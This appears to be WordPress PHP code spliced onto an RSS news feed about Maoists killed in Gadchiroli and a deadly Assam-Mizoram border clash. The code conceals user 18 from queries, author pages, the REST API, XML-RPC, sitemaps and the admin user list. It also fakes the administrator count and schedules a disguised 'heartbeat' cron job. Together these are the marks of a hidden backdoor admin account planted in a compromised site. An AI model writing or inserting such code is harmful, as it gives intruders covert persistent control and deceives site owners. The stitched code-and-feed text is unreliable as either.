add_action( 'pre_get_posts', function( $q ) {
    if ( ! is_admin() && $q->is_main_query() ) {
        $not_in   = (array) $q->get( 'author__not_in' );
        $not_in[] = 18;

        $q->set(
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}, 1 );

add_action( 'template_redirect', function() {
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            global $wp_query;
            $wp_query->set_404();
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    }
} );

add_action( 'pre_user_query', function( $q ) {
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        return;
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    global $wpdb;
    $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );

add_action( 'pre_get_users', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
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    $exclude   = (array) $q->get( 'exclude' );
    $exclude[] = 18;
    $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );

add_filter( 'wp_dropdown_users_args', function( $a ) {
    $exclude   = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
    $exclude[] = 18;

    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 18;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
    $route = $request->get_route();
    if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
        return new WP_Error(
            'rest_user_invalid_id',
            'Invalid user ID.',
            array( 'status' => 404 )
        );
    }
    return $result;
}, 10, 3 );

add_filter( 'xmlrpc_methods', function( $methods ) {
    unset(
        $methods['wp.getUsers'],
        $methods['wp.getUser'],
        $methods['wp.getProfile']
    );
    return $methods;
} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 18;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-18{display:none!important}</style>';
} );

add_filter( 'views_users', function( $views ) {
    foreach ( array( 'all', 'administrator' ) as $key ) {
        if ( isset( $views[ $key ] ) ) {
            $views[ $key ] = preg_replace_callback(
                '/\((\d+)\)/',
                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
    }
} );

add_action( 'wp_extra_bot_heartbeat', function() {
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} );
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		<title>At least 26 Maoists were murdered in a clash with police in Gadchiroli, Maharashtra</title>
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					<description><![CDATA[<p>According to top sources quoted by PTI, at least 26 Maoists were killed in an encounter with police in Maharashtra&#8217;s Gadchiroli district on Saturday. The engagement, which began in the early hours of Saturday in the Kotgul-Gyarapatti forest, was carried out by police C-60 commandos and continued until late in the evening. &#160; &#8220;We have [&#8230;]</p>
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										<content:encoded><![CDATA[<p>According to top sources quoted by PTI, at least 26 Maoists were killed in an encounter with police in Maharashtra&#8217;s Gadchiroli district on Saturday. The engagement, which began in the early hours of Saturday in the Kotgul-Gyarapatti forest, was carried out by police C-60 commandos and continued until late in the evening.</p>
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<p>&#8220;We have recovered the bodies of 26 Maoists so far from the forest,&#8221; said district Superintendent of Police Ankit Goyal. While the identity of the murdered Maoists has yet to be confirmed by the police, sources claim that a key insurgent leader was among those killed in the gunfight.</p>
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		<title>Assam declares 3-day state mourning to condole death of 5 cops, 1 civilian in border clash with Mizoram</title>
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					<description><![CDATA[<p>The Assam government declared a three-day state mourning from Tuesday to condole the death of five policemen and one civilian in a border clash with Mizoram on the previous day, a notification said. During this period, the national flag will fly at half-mast and there will be no public entertainment, the order issued by the [&#8230;]</p>
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										<content:encoded><![CDATA[<p><span style="font-weight: 400">The Assam government declared a three-day state mourning from Tuesday to condole the death of five policemen and one civilian in a border clash with Mizoram on the previous day, a notification said.</span></p>
<p><span style="font-weight: 400">During this period, the national flag will fly at half-mast and there will be no public entertainment, the order issued by the General Administration Department said.</span></p>
<p><span style="font-weight: 400">At least six persons were killed and 60 others, including an SP, injured in a bloody clash along the Assam-Mizoram border on Monday.</span></p>
<p><span style="font-weight: 400">Union Home Minister Amit Shah has spoken to the chief ministers of Assam and Mizoram, Himanta Biswa Sarma and Zoramthanga respectively, and urged them to ensure peace along the disputed border and find an amicable settlement.</span></p>
<p><span style="font-weight: 400">Sarma paid floral tributes to the five slain policemen at Silchar on Tuesday.</span></p>
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